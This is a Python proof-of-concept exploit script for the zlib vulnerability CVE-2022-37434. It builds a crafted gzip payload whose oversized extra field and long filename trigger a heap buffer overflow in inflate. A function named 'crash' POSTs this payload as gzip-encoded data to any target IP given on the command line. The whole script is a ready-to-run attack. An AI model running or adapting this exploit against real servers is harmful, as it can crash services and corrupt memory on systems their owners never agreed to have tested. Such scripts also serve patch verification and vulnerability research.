#!/usr/bin/python3 import argparse import requests # CVE-2022-37434 # zlib through 1.2.12 has a heap-based buffer over-read or buffer overflow in inflate in inflate.c via a large gzip header extra field. # NOTE: only applications that call inflateGetHeader are affected. # Some common applications bundle the affected zlib source code but may be unable to call inflateGetHeader (e.g., see the nodejs/node reference). b = b"" b += b"\x1f\x8b\x08\x1c\xbf\xbc\xab\x41\x02\x03\x30\x00\x74\x68\x69\x73" # 00000000 .......A..0.this b += b"\x20\x69\x73\x20\x61\x6e\x20\x65\x78\x74\x72\x61\x20\x66\x69\x65" # 00000010 is an extra fie b += b"\x6c\x64\x20\x74\x68\x61\x74\x20\x6d\x75\x73\x74\x20\x62\x65\x20" # 00000020 ld that must be b += b"\x72\x65\x6d\x6f\x76\x65\x64\x5f\x5f\x5f\x5f\x5f\x6c\x6f\x6e\x67" # 00000030 removed_____long b += b"\x2d\x66\x69\x6c\x65\x6e\x61\x6d\x65\x2d\x78\x78\x78\x78\x78\x78" # 00000040 -filename-xxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000050 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000060 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000070 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000080 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000090 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000000A0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000000B0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000000C0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000000D0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000000E0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000000F0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000100 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000110 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000120 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000130 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000140 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000150 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000160 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000170 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000180 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000190 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000001A0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000001B0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000001C0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000001D0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000001E0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000001F0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000200 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000210 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000220 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000230 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000240 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000250 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000260 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000270 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000280 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000290 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000002A0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000002B0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000002C0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000002D0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000002E0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000002F0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000300 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000310 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000320 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000330 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000340 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000350 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000360 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000370 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000380 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000390 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000003A0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000003B0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000003C0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000003D0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000003E0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000003F0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000400 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000410 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000420 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000430 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000440 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000450 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000460 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000470 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000480 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000490 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000004A0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000004B0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000004C0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000004D0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000004E0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000004F0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000500 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000510 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000520 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000530 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000540 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000550 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000560 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000570 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000580 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000590 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000005A0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000005B0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000005C0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000005D0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000005E0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000005F0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000600 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000610 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000620 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000630 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000640 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000650 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000660 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000670 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000680 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000690 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000006A0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000006B0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000006C0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000006D0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000006E0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000006F0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000700 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000710 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000720 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000730 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000740 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000750 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000760 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000770 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000780 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000790 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000007A0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000007B0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000007C0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000007D0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000007E0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 000007F0 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000800 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78" # 00000810 xxxxxxxxxxxxxxxx b += b"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x00" # 00000820 xxxxxxxxxxxxxxx. b += b"\x74\x68\x69\x73\x20\x69\x73\x20\x61\x20\x63\x6f\x6d\x6d\x65\x6e" # 00000830 this is a commen b += b"\x74\x20\x74\x68\x61\x74\x20\x6d\x75\x73\x74\x20\x62\x65\x20\x73" # 00000840 t that must be s b += b"\x6b\x69\x70\x70\x65\x64\x00\x2b\xcd\x4b\xce\xcf\x2d\x28\x4a\x2d" # 00000850 kipped.+.K..-(J- b += b"\x2e\x4e\x4d\x51\x48\xaf\xca\x2c\x50\x48\x49\x2c\x49\x54\x28\xcf" # 00000860 .NMQH..,PHI,IT(. b += b"\x2c\xc9\x50\xc8\xc9\xcf\x4b\x87\x88\x65\xa4\x26\xa6\xa4\x16\x71" # 00000870 ,.P...K..e.&...q b += b"\x01\x00\xb8\x50\x9e\xcb\x2d\x00\x00\x00" # 00000880 ...P..-... def crash(ip): headers = {'Content-Encoding': 'gzip'} requests.post('http://' + ip, headers=headers, data=b) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-t', '--target', help='The IP address of the target', required=True) args = parser.parse_args() crash(args.target)